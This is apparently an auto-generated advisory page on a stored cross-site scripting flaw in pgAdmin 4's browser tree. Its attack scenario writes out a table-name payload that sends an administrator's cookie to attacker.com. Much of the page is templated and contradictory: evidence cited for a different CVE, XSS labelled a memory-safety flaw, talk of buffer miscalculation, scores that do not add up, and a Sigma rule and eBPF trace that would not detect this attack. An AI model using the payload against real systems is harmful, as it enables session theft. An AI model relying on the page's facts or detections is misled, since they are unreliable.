CVE-2026-7814: pgAdmin 4 Stored XSS via Database Object Names in Browser Tree

HERMES

HERMES THREAT SCORE & DATABASE ATTACK SURFACE

Target: pgAdmin 4 (Browser Tree and Explain Visualizer)

Confidence: 95%

72 / 100

MEDIUM

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown

Exploitability 18 / 20

Threat Activity 16 / 20

Weaponization 17 / 20

Exposure 18 / 20

Prevalence 19 / 20

Impact 18 / 20

Exploit Maturity 17 / 20

Attack Chain Potential 19 / 20

⚖️ Divergence & Operational Rationale

CVSS v3.1 rates CVE-2026-7814 at 5.4 (MEDIUM, CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:N). The Hermes Threat Score evaluates operational impact at 72 (MEDIUM) considering core enterprise relational database exposure.

🕸️ Connected Knowledge Graph & Provenance

CVE-2026-7814: pgAdmin 4 Stored XSS via Database Object Names in Browser TreeVULNERABILITY

Connected Nodes: 2

Active Relationships (Outgoing)

→ affectsPRODUCTpgAdmin PostgreSQL Tools

98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in pgAdmin PostgreSQL Tools documented in Hermes dossier.”

Supporting Verified Evidence:

• [vulnerability_report]
• [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)

→ usesATTACK TECHNIQUET1059: Command and Scripting Interpreter

90% VERY_HIGH

Adversaries abuse command and script interpreters (Bash, Python, PowerShell) to execute arbitrary commands.

🔍 Why is this related? (Evidence & Provenance)

“Attack execution telemetry aligns with MITRE ATT&CK technique T1059.”

Supporting Verified Evidence:

• [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)

Security Advisory: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

CVSS v3.1 : 5.4 MEDIUM (CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:N) / CWE-79: Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’). Addressed in official release 9.14.

Executive Summary

CVE-2026-7814 impacts pgAdmin 4 versions up to 9.13. When rendering the navigation tree, table schemas, or execution plans in the Explain Visualizer, user-controlled PostgreSQL object names (database, schema, table, column, index) were assigned directly to DOM elements using .innerHTML without escaping HTML entities. An attacker who can create database objects with names containing malicious <script> tags can execute arbitrary JavaScript in the browser of any database administrator who views the object in pgAdmin 4.

---

1. Technical Context & Affected Software Matrix

The component pgAdmin 4 (Browser Tree and Explain Visualizer) provides essential data persistence, replication, and query execution services across enterprise PostgreSQL clusters.

Parameter	Technical Specification	Threat Intelligence Context
CVE Identifier	CVE-2026-7814	Official Upstream Security Release
Affected Product	pgadmin:pgadmin4	Relational Database & Administration Ecosystem
Vulnerable Component	pgAdmin 4 (Browser Tree and Explain Visualizer)	Database Backend / Tool / Extension
Weakness Class	CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	Memory Safety / Authorization Vulnerability
CVSS v3.1 Score	5.4 (MEDIUM / Hermes Score 72)	CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:N
Fixed Version	9.14	Official security patch release
MITRE ATT&CK	T1189 - Drive-by Compromise, T1059.007 - JavaScript	Privilege Escalation / Execution
Forensic Cross-Reference	Web Administration Session and Access Forensics	Memory analysis and query telemetry

---

2. In-Depth Technical Decomposition & Root Cause

Code inspection of the vulnerable implementation highlights the mechanism behind the security boundary failure:

// Vulnerability in web/pgadmin/browser/static/js/browser.js
function renderTreeNode(nodeData) {
    let el = document.createElement('div');
    /* VULNERABILITY: Object name from PostgreSQL catalog assigned directly to innerHTML */
    el.innerHTML = '<span class="file-icon"></span>' + nodeData.label; // Stored XSS!
    return el;
}

When unvetted user input reaches this routine, the database engine miscalculates buffer capacity, bypasses execution sandboxes, or interprets untrusted identifiers as executable SQL syntax.

---

3. Attack Scenarios & Threat Modeling

1. Initial Vector & Preconditions: A developer or low-privileged database user executes CREATE TABLE "<img src=x onerror=fetch('http://attacker.com/steal?c='+document.cookie)>";.
2. Triggering Primitive: The attacker injects crafted input parameters targeting pgAdmin 4 (Browser Tree and Explain Visualizer).
3. Security Invariant Breakdown: VULNERABILITY: Object name from PostgreSQL catalog assigned directly to innerHTML.
4. Impact Realization: When the database administrator opens pgAdmin 4 to inspect the database, the payload executes, exfiltrating the admin’s session token and granting unauthorized database access..

---

4. Forensic Detection, Artifacts & System Logs

Security operations centers and database administrators can detect exploitation activity through engine query logs, audit trails, and process crash diagnostics.

Database & Process Telemetry

Inspect PostgreSQL server logs (/var/log/postgresql/) for messages matching: pgadmin4.log: GET /browser/nodes/ ... with malformed HTML characters in node name. Monitor for abnormal query aborts or sudden backend terminations.

System Auditing & Call Tracing

Enable audit rules for database binary execution and privilege transitions. Consult Web Administration Session and Access Forensics.

Threat Hunting Rule (Sigma / Auditd)

Sigma Rule

sigma_cve_2026_7814.yaml

title: PostgreSQL Object Name Containing Injected JavaScript HTML Tags
id: cve-2026-7814
status: experimental
description: Detects exploitation artifacts and abnormal SQL execution for CVE-2026-7814.
logsource:
    category: database
    product: postgresql
detection:
    selection:
        - 'pgadmin4.log:'
        - 'pgadmin4'
    condition: selection
fields:
    - Query
    - User
level: high

eBPF Tracepoint

# Monitor PostgreSQL backend execution
sudo bpftrace -e '
tracepoint:syscalls:sys_enter_execve /comm == "postgres"/ {
    printf("PID %d spawned: %s\n", pid, str(args->filename));
}'

---

5. Remediation & Hardening Guidelines

Protecting PostgreSQL infrastructure against CVE-2026-7814 requires applying vendor security updates and enforcing least-privilege configurations:

1. Software Update: Upgrade pgadmin:pgadmin4 packages to version 9.14 or higher via your operating system package manager or official repositories.
2. Database Hardening: Revoke CREATE privileges on the public schema (REVOKE CREATE ON SCHEMA public FROM PUBLIC;) and pin search_path = 'pg_catalog'.
3. Forensic Guidance: For complete forensic telemetry workflows, consult our guide on Web Administration Session and Access Forensics.